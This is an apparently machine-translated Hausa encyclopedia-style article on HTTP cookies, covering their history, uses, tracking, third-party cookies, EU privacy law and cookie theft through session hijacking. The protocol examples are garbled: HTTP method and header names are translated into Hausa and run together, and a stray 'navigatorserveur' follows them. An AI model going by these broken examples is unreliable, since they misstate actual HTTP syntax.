in ,

Kuki na Intanet: menene? Ma'anar, Asalin, Nau'i da Keɓantawa

Menene aikin kuki, menene kuma menene nau'ikan kukis? 🍪

Kuki na Intanet: menene? Ma'anar, Asalin, Nau'i da Keɓantawa
Kuki na Intanet: menene? Ma'anar, Asalin, Nau'i da Keɓantawa

Un kuki ko gidan yanar gizo (ko kuki, a takaice kamar shaida a cikin Quebec) an ayyana shi ta hanyar ka'idar sadarwa ta HTTP a matsayin jerin bayanan da uwar garken HTTP ta aika zuwa abokin ciniki na HTTP, wanda ƙarshen ya dawo duk lokacin da aka nemi sabar HTTP ɗaya a ƙarƙashin wasu sharuɗɗa.

Kuki yayi daidai da a ƙaramin fayil ɗin rubutu da aka adana akan tashar na mai amfani da Intanet. Kasancewa fiye da shekaru 20, suna ƙyale masu haɓaka gidan yanar gizon su adana bayanan mai amfani don sauƙaƙe kewayawa da ba da izinin wasu ayyuka. Kukis sun kasance suna da yawa ko žasa da rigima saboda suna ƙunshe da sauran bayanan sirri waɗanda wasu kamfanoni za su iya yin amfani da su.

Sabar gidan yanar gizon tana aika shi azaman jagorar HTTP zuwa mai binciken gidan yanar gizon wanda ke mayar da shi baya canzawa duk lokacin da ya shiga sabar. Ana iya amfani da kuki wani tabbaci, zaman (kyarwar jiha), da kuma don adana takamaiman bayani game da mai amfani, kamar zaɓin rukunin yanar gizo ko abubuwan da ke cikin motar siyayya ta lantarki. Kalmar kuki ta samo asali ne daga kuki sihiri, sanannen ra'ayi a cikin kwamfuta na UNIX, wanda ya ƙarfafa ra'ayi da sunan kukis mai bincike. Akwai ƴan zaɓuɓɓukan kukis, kowanne yana da nasa amfani, fa'ida da rashin amfani.

Kasancewa fayilolin rubutu masu sauƙi, kukis ba za a iya aiwatar da su ba. Ba su ba ba kayan leken asiri ko ƙwayoyin cuta ba, ko da yake ana gano kukis daga wasu shafukan yanar gizo da yawa software na rigakafin ƙwayoyin cuta saboda suna ba da damar masu amfani da su a bin diddigin lokacin da suka ziyarci shafuka da yawa. 

Yawancin masu bincike na zamani suna ba masu amfani damar yanke shawara ko karba ko ƙin kukis. Masu amfani kuma iya zaɓi tsawon lokacin da ake adana kukis. Koyaya, cikakken kin kukis yana sa wasu rukunin yanar gizon ba su da amfani. Misali, adana motocin sayayya ko rukunin yanar gizon da ke buƙatar shiga ta amfani da takaddun shaida (sunan mai amfani da kalmar wucewa).

Table na abubuwan ciki

tarihi

Kalmar kuki ya samo asali ne daga kalmar Ingilishi kuki sihiri, wanda shine fakitin bayanan da shirin ke karba kuma ya dawo ba canzawa. An riga an yi amfani da kukis a cikin IT lokacin Lou Montuli yana da ra'ayin yin amfani da su a cikin sadarwar yanar gizo a watan Yuni 1994. A wancan lokacin, Netscape Communications ya dauke shi aiki, wanda ya kirkiro aikace-aikacen e-commerce don abokin ciniki. Kukis sun ba da mafita ga matsalar amincin aiwatar da keken siyayya ta kantin sayar da kayayyaki.

John Giannandrea da Lou Montulli sun rubuta ƙayyadaddun kuki na farko na Netscape a wannan shekarar. Sigar 0.9 beta na Mosaic Netscape, wanda aka saki ranar 13 ga Oktoba, 1994, hadedde fasahar kuki (duba post). Amfani da kukis na farko (ba gwaji ba) shine don tantance ko maziyartan gidan yanar gizon Netscape sun ziyarci shafin a baya. Montulli ya shigar da takardar neman izini don fasahar kuki a cikin 1995, kuma an ba da izinin mallakar Amurka 5774670. bayar a shekarar 1998.

Bayan an aiwatar da shi a cikin Netscape 0.9 beta a cikin 1994, an haɗa kukis a cikin Internet Explorer 2, wanda aka saki a cikin Oktoba 1995.

Gabatarwar kukis bai riga ya zama sananne ga jama'a ba. Musamman, an karɓi kukis ta tsohuwa a cikin saitunan burauza, kuma ba a sanar da masu amfani da kasancewar su ba. Wasu mutane suna sane da wanzuwar kukis a kusan kwata na farko na 1995, amma jama'a kawai sun sami wanzuwarsu bayan Financial Times ta buga wata kasida a ranar 12 ga Fabrairu, 1996. A cikin wannan shekarar, kukis sun sami kulawar kafofin watsa labarai da yawa. saboda yuwuwar kutsawar sirri. An tattauna batun kukis a cikin shawarwari biyu na Hukumar Kasuwancin Tarayyar Amurka a 1996 da 1997.

An riga an fara haɓaka ƙayyadaddun kuki na hukuma. Tattaunawar farko na ƙayyadaddun hukuma sun faru ne a cikin Afrilu 1995 akan jerin wasiƙa na www-talk. An kafa ƙungiyar aiki ta IETF ta musamman. Sauran shawarwari guda biyu don gabatar da jihar zuwa ma'amalar HTTP Brian Behlendorf da David Kristol ne suka gabatar da su, amma ƙungiyar, wanda Kristol da kansa ya jagoranta, ta yanke shawarar yin amfani da ƙayyadaddun bayanai na Netscape a matsayin mafari. A cikin Fabrairu 1996, ƙungiyar aiki ta yanke shawarar cewa kukis na ɓangare na uku babbar barazana ce ga keɓewa. Bayanin da ƙungiyar ta samar daga ƙarshe an buga shi azaman RFC 2109.

Daga ƙarshen 2014, muna ganin banner game da kukis akan shafuka da yawa. Akwai aƙalla tsawo mai bincike guda ɗaya wanda ke ba da izinin banner ba a nuna.

Nau'in Kukis da Amfani

Gudanar da zama

Ana iya amfani da kukis don kula da bayanan mai amfani yayin kewayawa, amma kuma a cikin ziyara da yawa. An bullo da kuki ne don samar da hanyar aiwatar da motocin sayayya ta hanyar lantarki, na’urar da mai amfani zai iya tara abubuwan da yake so ya saya a lokacin da yake lilo a shafin.

A kwanakin nan, aikace-aikacen kamar motocin sayayya a maimakon haka suna adana jerin abubuwa a cikin rumbun adana bayanai akan sabar, wanda ya fi dacewa; fiye da ajiye su a cikin kuki da kanta. Sabar gidan yanar gizon tana aika kuki mai ɗauke da ID ɗin zama na musamman. Mai binciken gidan yanar gizon yana mayar da wannan ID ɗin zaman akan kowane buƙatu na gaba kuma an adana abubuwan da ke cikin kwandon kuma an haɗa su da wannan ID ɗin zaman na musamman.

Yin amfani da kukis akai-akai yana da amfani don shiga cikin rukunin yanar gizo ta amfani da takaddun shaida. A takaice, uwar garken gidan yanar gizo ta fara aika kuki mai dauke da ID na musamman. Sannan masu amfani suna ba da takaddun shaidar su (yawanci sunan mai amfani da kalmar wucewa). Sa'an nan aikace-aikacen yanar gizon yana tabbatar da zaman kuma yana ba mai amfani damar samun damar sabis ɗin.

personalization

Ana iya amfani da kukis don tunawa da bayanai game da mai amfani da wani shafi, don nuna masa abubuwan da suka dace a nan gaba. Misali, uwar garken gidan yanar gizo na iya aika kuki mai dauke da sunan mai amfani na karshe da aka yi amfani da shi wajen shiga wannan gidan yanar gizon, ta yadda za a iya shigar da sunan mai amfani a ziyarar gaba.

Yawancin gidajen yanar gizo suna amfani da kukis don keɓancewa dangane da zaɓin mai amfani. Masu amfani suna zaɓar abubuwan da suke so a cikin tsari kuma su ƙaddamar da waɗannan zuwa uwar garken. Sabar tana ɓoye abubuwan da aka zaɓa a cikin kuki kuma ta mayar da shi zuwa mai lilo. Daga baya, duk lokacin da mai amfani ya shiga shafin wannan rukunin yanar gizon, mai binciken yana mayar da kuki kuma don haka jerin abubuwan da ake so; uwar garken na iya siffanta shafin bisa ga abubuwan da mai amfani yake so. Misali, gidan yanar gizon Wikipedia yana bawa masu amfani da shi damar zaɓar fatar shafin da suka fi so. Injin bincike na Google yana ba masu amfani da shi (ko da ba su da rajista) su zaɓi adadin sakamakon da suke son gani a kowane shafin sakamako.

Bibiya

Ana amfani da kukis ɗin bin diddigi don bin ɗabi'ar bincike na masu amfani da intanit. Hakanan za'a iya yin wannan a wani ɓangare ta hanyar amfani da adireshin IP na kwamfutar yin buƙatun shafi ko ta amfani da taken 'Referrer' HTTP wanda abokin ciniki ke aikawa tare da kowace buƙata, amma kukis suna ba da damar yin daidaici. Ana iya yin wannan a cikin misali mai zuwa:

  1. Idan mai amfani ya kira shafi akan wani shafi, kuma buƙatar ba ta ƙunshi kuki ba, uwar garken tana ɗauka cewa wannan shine shafin farko da mai amfani ya ziyarta. Sabar ɗin ta ƙirƙiri kirtani bazuwar kuma ta aika zuwa mai binciken tare da shafin da ake buƙata.
  2. Daga wannan lokacin, mai bincike zai aika kuki ta atomatik a duk lokacin da aka kira sabon shafin yanar gizon. Sabar za ta aika shafin kamar yadda aka saba, amma kuma za ta shigar da URL na shafin da ake kira, kwanan wata, lokacin buƙatun da kuki a cikin fayil ɗin log.

Ta hanyar duba fayil ɗin log ɗin, ana iya ganin ko wane shafukan da mai amfani ya ziyarta kuma a cikin wane tsari. Misali, idan fayil ɗin ya ƙunshi ƴan buƙatun da aka yi ta amfani da kuki id=abc, wannan na iya tabbatar da cewa duk waɗannan buƙatun sun fito daga mai amfani ɗaya. URL ɗin da aka nema, kwanan wata da lokacin da ke da alaƙa da buƙatun suna ba da damar bin diddigin binciken mai amfani.

Kukis na ɓangare na uku da tashoshi na gidan yanar gizo, da aka bayyana a ƙasa, suna ba da damar bin diddigin shafuka daban-daban. Gabaɗaya ana amfani da bin diddigin rukunin yanar gizo ɗaya don dalilai na ƙididdiga. Sabanin haka, bin diddigin shafuka daban-daban ta amfani da kukis na ɓangare na uku galibi kamfanonin talla ne ke amfani da su don samar da bayanan mai amfani da ba a san su ba (waɗanda ake amfani da su don tantance waɗanne tallace-tallacen da ya kamata a nuna wa mai amfani da kuma aika masa imel ɗin da suka dace da waɗannan tallace-tallacen - SPAM) ).

Kukis bin diddigin haɗari ne na mamaye sirrin mai amfani amma ana iya share su cikin sauƙi. Yawancin masu bincike na zamani sun haɗa da zaɓi don share kukis masu dagewa ta atomatik lokacin rufe aikace-aikacen.

Kukis na ɓangare na uku

Hotuna da sauran abubuwan da ke ƙunshe a cikin shafin yanar gizon na iya zama a kan sabar daban da wanda ke ɗaukar nauyin shafin. Don nuna shafin, mai binciken yana zazzage duk waɗannan abubuwa. Yawancin gidajen yanar gizon sun ƙunshi bayanai daga tushe daban-daban. Misali, idan ka rubuta www.example.com a cikin burauzarka, sau da yawa za a sami abubuwa ko tallace-tallace a wani bangare na shafin da suka fito daga tushe daban-daban, watau daga wani yanki daban fiye da www. .example.com. Kukis na jam'iyyar "Farko" cookies ne waɗanda yankin da aka jera a mashigin adireshi. An saita kukis na ɓangare na uku ta ɗayan abubuwan shafin waɗanda suka fito daga wani yanki na daban.

Ta hanyar tsoho, masu bincike kamar Mozilla Firefox, Microsoft Internet Explorer da Opera suna karɓar kukis na ɓangare na uku, amma masu amfani za su iya canza saituna a cikin zaɓuɓɓukan burauza don toshe su. Babu haɗarin tsaro da ke tattare da kukis na ɓangare na uku wanda ke ba da damar aikin yanar gizo, duk da haka ana amfani da su don bin diddigin masu amfani. daga site zuwa shafi.

Kayan aiki irin su Ghostery akwai don duk masu bincike gami da Google Chrome na iya toshe mu'amala tsakanin wasu kamfanoni.

Aiwatarwa

Yiwuwar mu'amala tsakanin mai binciken gidan yanar gizo da uwar garken da ke karbar bakuncin shafin yanar gizon. Sabar tana aika kuki zuwa mai lilo kuma mai binciken yana mayar da shi lokacin da ya kira wani shafi.
Yiwuwar mu'amala tsakanin mai binciken gidan yanar gizo da uwar garken da ke karbar bakuncin shafin yanar gizon. Sabar tana aika kuki zuwa mai lilo kuma mai binciken yana mayar da shi lokacin da ya kira wani shafi.

Kukis ƙananan bayanai ne da sabar gidan yanar gizo ta aika zuwa mai bincike. Mai binciken yana mayar da su baya canzawa zuwa uwar garken, yana gabatar da yanayi (ƙwaƙwalwar abubuwan da suka faru a baya) cikin ma'amalar HTTP maras jiha. Ba tare da kukis ba, kowane maido da shafin yanar gizon ko wani ɓangaren shafin yanar gizo wani lamari ne keɓe, ba tare da wasu buƙatun da aka yi zuwa wannan rukunin yanar gizon ba. Baya ga samun damar saita ta sabar gidan yanar gizo, ana iya saita kukis ta hanyar rubutun harsuna kamar JavaScript, idan mai bincike ya ba da izini kuma ya ba shi izini.

Ƙididdigar kuki na hukuma yana nuna cewa ya kamata masu bincike su iya ajiyewa da sake tura mafi ƙarancin adadin kukis. Musamman, mai bincike ya kamata ya iya adana aƙalla kukis 300 na kilobytes huɗu kowanne, kuma aƙalla kukis 20 don sabar ko yanki ɗaya.

A cewar sashe na 3.1 na RFC 2965, Sunayen kuki ba su da hankali.

Kuki zai iya tantance ranar da zai ƙare, a cikin wannan yanayin za a goge kuki a wannan ranar. Idan kuki bai fayyace ranar ƙarewa ba, ana share kuki ɗin da zaran mai amfani ya bar burauzarsa. Don haka, tantance ranar karewa hanya ce ta sa kuki ya tsira ta lokuta da yawa. Saboda wannan dalili, an ce kukis tare da ranar karewa m. Misalin aikace-aikacen: rukunin yanar gizo na iya amfani da kukis masu dagewa don yin rikodin abubuwan da masu amfani suka sanya a cikin keken siyayyarsu (a zahiri, kuki ɗin na iya nufin shigarwar da aka adana a cikin bayanan yanar gizon tallace-tallace, kuma ba a cikin kwamfutarka ba) . Ta wannan hanyar, idan masu amfani suka bar burauzar su ba tare da yin siyayya ba kuma suka koma gare shi daga baya, za su sake samun abubuwan da ke cikin keken. Idan waɗannan kukis ɗin ba su ba da ranar karewa ba, za su ƙare lokacin da mai binciken ya rufe, kuma bayanan da ke cikin kwandon za su ɓace.

Ana iya iyakance kukis zuwa wani yanki na musamman, yanki ko hanya akan sabar da ta ƙirƙira su.

Ana yin canja wurin shafukan yanar gizo ta hanyar amfani da HyperText Transfer Protocol (HTTP). Ta yin watsi da kukis, masu bincike suna kiran shafi daga sabar yanar gizo ta hanyar aika musu da ɗan gajeren rubutu da ake kira bukatar HTTP. Misali, don shiga shafin www.example.org/index.html, masu bincike suna haɗawa da uwar garken www.example.org kuma su aika da buƙata mai kama da wannan:

SAMU /index.html HTTP/1.1 Mai watsa shiri: www.example.org
navigatorserveur

Sabar ta amsa ta hanyar aika shafin da aka nema, wanda aka rigaya da irin wannan rubutu, gaba daya ana kiransa Amsar HTTP. Wannan fakitin na iya ƙunshi layukan da ke ba da umarni don adana kukis:

HTTP/1.1 200 OKContent-nau'in: rubutu/htmlSet-Cookie: suna = darajar
(Shafin HTML)
navigatorserveur

Sabar tana aika layin Set-Cookie kawai, idan uwar garken yana son mai lilo ya adana kuki. Saita-Cookie buƙatun ne don mai bincike don adana sunan = kirtani mai ƙima kuma ya mayar da shi a cikin duk buƙatun gaba zuwa uwar garken. Idan mai binciken yana goyan bayan kukis kuma an kunna kukis a cikin zaɓuɓɓukan burauzar, za a haɗa kuki ɗin a cikin duk buƙatun da aka yi zuwa sabar iri ɗaya. Misali, burauzar tana kiran shafin www.example.org/news.html ta aika buƙatun mai zuwa ga uwar garken www.example.org:

SAMU /labarai.html HTTP/1.1 Mai watsa shiri: www.example.orgCookie: suna = darajarA yarda: */*
navigatorserveur

Wannan buqatar wani shafi ne daga uwar garken guda daya, kuma ya bambanta da na farko a sama saboda yana dauke da igiyar da uwar garken ta aika a baya zuwa mai binciken. Godiya ga wannan yana nufin, uwar garken ya san cewa wannan buƙatar tana da alaƙa da ta baya. Sabar tana amsawa ta hanyar aika shafin da ake kira, da kuma ƙara wasu kukis zuwa gare shi.

Ƙimar kuki na iya canza ta uwar garken ta hanyar aika sabon layi Saita-Kuki: name=new_value a mayar da martani ga shafin da ake kira. Mai binciken sai ya maye gurbin tsohuwar ƙima da sabuwar.

Layin Set-Cookie galibi ana ƙirƙira shi ta shirin CGI ko wani yaren rubutu, ba ta uwar garken HTTP ba. Sabar HTTP (misali: Apache) kawai za ta aika da sakamakon shirin (takardar da ke ɗauke da kukis ɗin da ta rigaya ta gabace shi) zuwa mai bincike.

Hakanan ana iya saita kukis ta JavaScript ko wasu yarukan makamantan da ke gudana a cikin burauzar, watau a gefen abokin ciniki maimakon bangaren uwar garken. A cikin JavaScript, ana amfani da abu document.cookie don wannan dalili. Misali, takardar bayanin.cookie = "zazzabi=20" yana ƙirƙirar kuki mai suna "zazzabi" kuma tare da ƙimar 20.

Misalin martanin HTTP daga google.com, wanda ke saita kuki tare da halaye.
Misalin martanin HTTP daga google.com, wanda ke saita kuki tare da halaye.

Baya ga suna/daraja biyu, kuki kuma na iya ƙunsar ranar ƙarewa, hanya, sunan yanki da nau'in haɗin da aka yi niyya, watau na al'ada ko ɓoyayye. RFC 2965 kuma ya bayyana cewa kukis dole ne su sami lambar sigar dole, amma wannan gabaɗaya an tsallake shi. Waɗannan ɓangarori na bayanan suna bin sunan = new_value biyu kuma an raba su da maƙasudi. Misali, uwar garken na iya ƙirƙirar kuki ta hanyar aika layin Set-Cookie: name=new_value; ƙarewa = kwanan wata; hanya=/; domain=.example.org.

Kukis sun ƙare sannan mai binciken ba ya aika shi zuwa uwar garken a cikin yanayi masu zuwa:

  • Lokacin da mai lilo ya rufe, idan kuki bai dage ba.
  • Lokacin da ranar karewa kuki ya wuce.
  • Lokacin da aka canza ranar ƙarewar kuki (ta uwar garken ko rubutun) zuwa kwanan wata a baya.
  • Lokacin da mai lilo ya goge kuki bisa buƙatar mai amfani.

Hali na uku yana ba da damar sabobin ko rubutun su share kuki a sarari. Lura cewa yana yiwuwa tare da mai binciken gidan yanar gizo na Google Chrome don sanin ranar karewa na wani kuki ta hanyar shiga saitunan abun ciki. Kuki da aka ajiye akan kwamfuta na iya zama da kyau a wurin har tsawon shekaru da yawa idan ba a ɗauki hanyar shafe ta ba.

Ra'ayoyin ra'ayi

Tun bayan gabatarwar su akan Intanet, ra'ayoyi da yawa game da kukis sun yadu akan Intanet da kuma a cikin kafofin watsa labarai. A cikin 1998, CIAC, ƙungiyar sa ido kan abubuwan da suka faru na kwamfuta na Ma'aikatar Makamashi ta Amurka, ta ƙaddara cewa rashin lafiyar kuki "a zahiri babu shi" kuma ta bayyana cewa "bayanai kan asalin ziyararku da cikakkun bayanai na shafukan yanar gizon da kuka ziyarta. sun riga sun wanzu a cikin fayilolin log na sabar gidan yanar gizo”. A cikin 2005, Jupiter Research ya buga sakamakon binciken, wanda yawancin masu amsawa sunyi la'akari da waɗannan maganganun:

  • Kukis kamar virus, suna cutar da hard drives masu amfani.
  • Kukis suna samarwa pop-up.
  • Ana amfani da kukis don aikawa spam.
  • Ana amfani da kukis don talla kawai.

Kukis ba zai iya gogewa ko karanta bayanai daga kwamfutar mai amfani ba. Koyaya, kukis suna ba da damar gano shafukan yanar gizon da mai amfani ya ziyarta a kan wani rukunin yanar gizon da aka bayar ko saitin rukunin yanar gizon. Ana iya tattara wannan bayanin a cikin bayanin martabar mai amfani wanda za'a iya amfani da shi ko sake siyar da shi ga wasu kamfanoni, wanda zai iya haifar da manyan batutuwan sirri. Wasu bayanan martaba ba a san su ba, a ma'anar cewa ba su ƙunshi bayanan sirri ba, duk da haka ko da irin waɗannan bayanan suna iya zama abin tambaya.

Bisa ga wannan binciken, yawancin masu amfani da Intanet ba su san yadda ake share kukis ba. Ɗaya daga cikin dalilan da mutane ba su amince da kukis ba shi ne cewa wasu shafukan yanar gizo sun ci zarafin abin da ke gano kukis kuma sun raba wannan bayanin tare da wasu kafofin. Kashi mai yawa na tallace-tallace da aka yi niyya da imel ɗin da ba a buƙata ba, wanda aka yi la'akari da spam, ya fito ne daga bayanan da aka samo daga bin kukis.

Saitunan Browser

Yawancin masu bincike suna tallafawa kukis kuma suna ƙyale mai amfani ya kashe su. Mafi yawan zaɓuɓɓuka sune:

  • Kunna ko musaki kukis gabaɗaya, ta yadda koyaushe ana karɓa ko toshe su.
  • Ba da damar mai amfani don ganin kukis masu aiki a cikin wani shafi da aka bayar, ta shigar da javascript: faɗakarwa(document.cookie) a cikin adireshin adireshin mai binciken. Wasu masu bincike sun haɗa mai sarrafa kuki don mai amfani wanda zai iya dubawa da zaɓin share kukis ɗin da mai lilo ya adana a halin yanzu.

Yawancin masu bincike kuma suna ba da damar cikakken goge bayanan sirri wanda ya haɗa da kukis. Hakanan akwai ƙarin samfura don sarrafa izinin kuki.

Keɓantawa da Kukis na ɓangare na uku

A cikin wannan ƙagaggen misali, kamfanin talla ya sanya banners akan gidajen yanar gizo guda biyu. Ta hanyar ɗaukar banners akan sabar sa da kuma amfani da kukis na ɓangare na uku, kamfanin talla yana iya bin diddigin kewayawar mai amfani ta waɗannan shafuka guda biyu.

Kukis suna da tasiri mai mahimmanci ga keɓantawa da ɓoye sunayen masu amfani da yanar gizo. Ko da yake ana mayar da kukis ne kawai zuwa uwar garken da ke saita su ko zuwa uwar garken na yanki ɗaya na Intanet, shafin yanar gizon yana iya ƙunsar hotuna ko wasu abubuwan da aka adana akan sabar na wasu yankuna. Ana kiran kukis ɗin da aka saita yayin dawo da waɗannan abubuwan waje cookies na ɓangare na uku. Wannan ya haɗa da kukis daga windows pop-up maras so.

Kamfanonin talla suna amfani da kukis na ɓangare na uku don bin diddigin masu amfani a duk rukunin yanar gizon da suka ziyarta. Musamman ma, kamfanin talla na iya bin mai amfani a duk shafukan da ya sanya hotunan talla ko pixel na sa ido. Sanin shafukan da mai amfani ya ziyarta yana bawa kamfanin talla damar yin niyya ga abubuwan da ake son talla na mai amfani.

Ƙarfin gina bayanin martabar mai amfani wasu suna ɗaukarsa a matsayin mamayewa na sirri, musamman lokacin da ake yin sa ido a cikin yankuna daban-daban ta amfani da kukis na ɓangare na uku. Don haka, wasu ƙasashe suna da dokar kuki.

Gwamnatin Amurka ta aiwatar da tsauraran ka'idoji kan sanya kukis a shekara ta 2000, bayan da aka bayyana cewa Ofishin Kula da Magungunan Magunguna na Fadar White House yana amfani da kukis don bin diddigin kwamfutocin masu amfani da ke kallon tallace-tallacen muggan kwayoyi ta yanar gizo. A cikin 2002, mai fafutukar kare sirri Daniel Brandt ya gano cewa CIA ta bar kukis masu dagewa akan kwamfutoci da suka ziyarci gidajen yanar gizonta. Da zarar an sanar da wannan laifin, CIA ta bayyana cewa ba a aiko da waɗannan kukis ɗin da gangan ba kuma ta daina saita su. A ranar 25 ga Disamba, 2005, Brandt ya gano cewa Hukumar Tsaro ta Kasa (NSA) ta bar kukis guda biyu masu tsayi a kan kwamfutocin baƙi saboda sabuntawar software. Bayan an sanar da su, nan da nan NSA ta kashe kukis.

A cikin United Kingdom, da Dokar kuki “, wanda aka fara aiki a ranar 25 ga Mayu, 2012, ya tilasta wa shafukan su bayyana aniyarsu, don haka bai wa masu amfani damar zabar ko suna son barin sawu ko a’a ta hanyar Intanet. Don haka ana iya kiyaye su daga niyya ta talla. Duk da haka, bisa lafazin The Guardian, yardar masu amfani da Intanet ba lallai ba ne a sarari; an yi canje-canje ga sharuɗɗan izinin mai amfani, yin shi haka ake nufi.

Umarnin 2002/58 akan keɓewa

Dokar sirri ta 202/58 da sadarwar lantarki, ta ƙunshi dokoki kan amfani da kukis. Musamman, labarin 5, sakin layi na 3 na wannan umarnin yana buƙatar adana bayanai (kamar kukis) a cikin kwamfutar mai amfani kawai idan:

  • an sanar da mai amfani yadda ake amfani da bayanan;
  • an ba mai amfani zaɓi na ƙin wannan aikin ajiya. Duk da haka, wannan labarin kuma ya bayyana cewa ajiyar bayanai don dalilai na fasaha ba shi da kariya daga wannan doka.

Saboda aiwatar da shi daga Oktoba 2003, umarnin duk da haka ba a aiwatar da shi sosai ba bisa ka'ida ba bisa ga rahoton Disamba 2004, wanda kuma ya nuna cewa wasu ƙasashe membobin (Slovakia, Latvia, Girka, Belgium da Luxembourg) ba su riga sun aiwatar da tsarin ba. umarnin cikin dokokin gida.

Dangane da ra'ayi na G29 a cikin 2010, wannan umarnin, wanda musamman sharuɗɗan amfani da kukis don dalilai na talla, bisa ƙayyadaddun izinin mai amfani da Intanet ya kasance cikin rashin amfani sosai. A gaskiya ma, yawancin shafukan yanar gizo suna yin hakan ne ta hanyar da ba ta bi umarnin ba, ta hanyar iyakance kansu zuwa "banner" mai sauƙi na sanar da amfani da "kukis" ba tare da ba da bayani game da amfani ba, ba tare da bambancewa tsakanin kukis "na fasaha". Kukis na “bibiya”, ko ba da zaɓi na gaske ga mai amfani da ke son kiyaye kukis na fasaha (kamar kukis ɗin sarrafa cart) da ƙin kukis na “bibiya”. A zahiri, yawancin shafuka ba sa aiki daidai idan an ƙi kukis, wanda bai bi umarnin 2002/58 ko umarnin 95/46 (Kare bayanan sirri ba).

Umarnin 2009/136/CE

An sabunta wannan kayan ta hanyar Directive 2009/136/EC mai kwanan wata 25 ga Nuwamba, 2009 wanda ya bayyana cewa "ajiya na bayanai, ko samun damar yin amfani da bayanan da aka riga aka adana, a cikin na'urorin tasha na mai biyan kuɗi ko mai amfani ana ba da izinin kawai idan mai biyan kuɗi ko mai amfani ya ba da izininsa, bayan an karɓa, bisa ga umarnin 95/46/EC, cikakkun bayanai da cikakkun bayanai, tsakanin wasu kan dalilan sarrafa”. Sabon umarnin don haka yana ƙarfafa wajibai kafin sanya kukis akan kwamfutar mai amfani da Intanet.

A cikin la'akari na farko na umarnin, dan majalisar Turai ya fayyace duk da haka: "A duk inda zai yiwu kuma mai tasiri, daidai da abubuwan da suka dace na Directive 95/46/EC, izinin mai amfani game da sarrafawa na iya bayyana ta hanyar amfani da saitunan da suka dace na burauza ko wani aikace-aikace”. Amma a zahiri, babu wani mai bincike har zuwa yau da zai iya raba mahimman kukis ɗin fasaha daga na zaɓi waɗanda yakamata a bar su ga zaɓin mai amfani.

‘Yan majalisar Belgian ne suka gabatar da wannan sabon umarni a watan Yuli 2012. Wani bincike da aka gudanar a shekarar 2014 ya nuna cewa hatta ‘yan majalisar suna fama da neman aiki. iyakokin umarnin.

P3P

Ƙididdigar P3P ta haɗa da ikon uwar garken don bayyana manufar keɓewa, wanda ke bayyana irin bayanan da yake tattarawa da kuma wace manufa. Waɗannan manufofin sun haɗa da (amma ba'a iyakance su ba) amfani da bayanan da aka tattara ta amfani da kukis. Bisa ga ma'anar P3P, mai bincike na iya karɓa ko ƙin kukis ta hanyar kwatanta manufofin keɓantawa tare da abubuwan da mai amfani ke so ko ta tambayar mai amfani, gabatar da bayanin sirrin sirrin da uwar garken ya bayyana.

Masu bincike da yawa, gami da Apple Safari da Microsoft Internet Explorer nau'ikan 6 da 7, suna goyan bayan P3P wanda ke ba mai binciken damar tantance ko zai karɓi ajiyar kuki na ɓangare na uku. Mai binciken Opera yana ba masu amfani damar ƙin kukis na ɓangare na uku da ƙirƙirar bayanan tsaro na duniya da takamaiman don wuraren Intanet. Mozilla Firefox version 2 ya bar goyon bayan P3P amma ya mayar da shi a cikin sigar 3.

Yawancin masu bincike na iya toshe kukis na ɓangare na uku don ƙara sirri da rage talla, ba tare da cutar da ƙwarewar gidan yanar gizon mai amfani ba. Yawancin hukumomin talla suna ba da zaɓi fita zuwa tallace-tallacen da aka yi niyya, ta hanyar saita kuki na yau da kullun a cikin burauza wanda ke kashe wannan niyya, amma irin wannan mafita ba ta da tasiri a zahiri, idan aka mutunta shi, saboda ana goge wannan kuki ɗin da zaran mai amfani ya goge waɗannan kukis wanda ya soke zaɓin zaɓi. fita yanke shawara.

Rashin amfanin kukis

Baya ga batutuwan sirri, kukis kuma suna da wasu kura-kurai na fasaha. Musamman ma, ba koyaushe suna tantance masu amfani daidai ba, suna iya rage ayyukan rukunin yanar gizon yayin da yawa, ana iya amfani da su don hare-haren tsaro, kuma suna cin karo da wakilin jihar canja wuri, tsarin tsarin tsarin software.

Ƙimar ganewa

Idan an yi amfani da burauzar sama da ɗaya akan kwamfuta, a cikin kowannensu koyaushe akwai rukunin ma'ajiyar kukis daban-daban. Don haka kukis ba sa tantance mutum, amma haɗakar asusun mai amfani, kwamfuta, da kuma mai binciken gidan yanar gizo. Don haka, kowa na iya amfani da waɗannan asusu, kwamfutoci, ko masu bincike waɗanda ke da tarin kukis. Hakazalika, kukis ba sa bambanta tsakanin masu amfani da yawa waɗanda ke raba asusun mai amfani iri ɗaya, kwamfuta, da mai bincike, kamar a cikin “cafeyin intanet” ko kowane wuri da ke ba da damar samun albarkatun kwamfuta kyauta.

Amma a aikace, wannan magana takan zama yaudara a mafi yawan lokuta saboda a yau kwamfutar "Personal" (ko smartphone, ko kwamfutar hannu, wanda ya fi muni) ana amfani da shi musamman ta mutum guda. ta hanyar adadin bayanan da aka tattara sun isa ga keɓaɓɓen niyya ko da ba a gano mutumin ba.

Ana iya sace kuki ta wata kwamfuta akan hanyar sadarwa.

Yayin aiki na yau da kullun, ana aika kukis ɗin baya tsakanin uwar garken (ko ƙungiyar sabar a cikin yanki ɗaya) da mai binciken kwamfuta na mai amfani. Tunda kukis na iya ƙunsar mahimman bayanai (sunan mai amfani, kalmar sirri da aka yi amfani da ita don tantancewa, da sauransu), kada darajar su ta kasance ga wasu kwamfutoci. Satar kuki wani aiki ne na katse kukis ta wani ɓangare na uku mara izini.

Ana iya satar kukis ta hanyar fakitin sniffer a harin da ake kira satar lokaci. Ana iya katse zirga-zirgar ababen hawa a yanar gizo da karanta ta kwamfutoci ban da waɗanda ke aikawa da karɓa (musamman a sararin Wi-Fi na jama'a da ba a ɓoye ba). Wannan zirga-zirga ya haɗa da kukis ɗin da aka aika akan zaman ta amfani da ƙa'idar HTTP bayyananne. Lokacin da ba a ɓoye zirga-zirgar hanyar sadarwa ba, masu amfani da mugayen za su iya karanta sadarwar sauran masu amfani akan hanyar sadarwar ta amfani da "fakitin sniffers".

Ana iya shawo kan wannan matsala ta hanyar ɓoye haɗin tsakanin kwamfutar mai amfani da uwar garken ta amfani da ka'idar HTTPS. Sabar na iya ƙayyade a amintaccen tuta yayin saita kuki; burauzar za ta aika ta kan amintaccen layi kawai, kamar haɗin SSL.

Koyaya, yawancin rukunin yanar gizo, kodayake suna amfani da rufaffen sadarwar HTTPS don tabbatar da mai amfani (watau shafin shiga), daga baya aika kukis ɗin zaman da sauran bayanai kamar al'ada, ta hanyar haɗin HTTP da ba a ɓoye ba saboda dalilai masu inganci. Don haka maharan za su iya satar kukis na wasu masu amfani kuma su yi kamanceceniya da su akan wuraren da suka dace ko amfani da su a harin kuki.

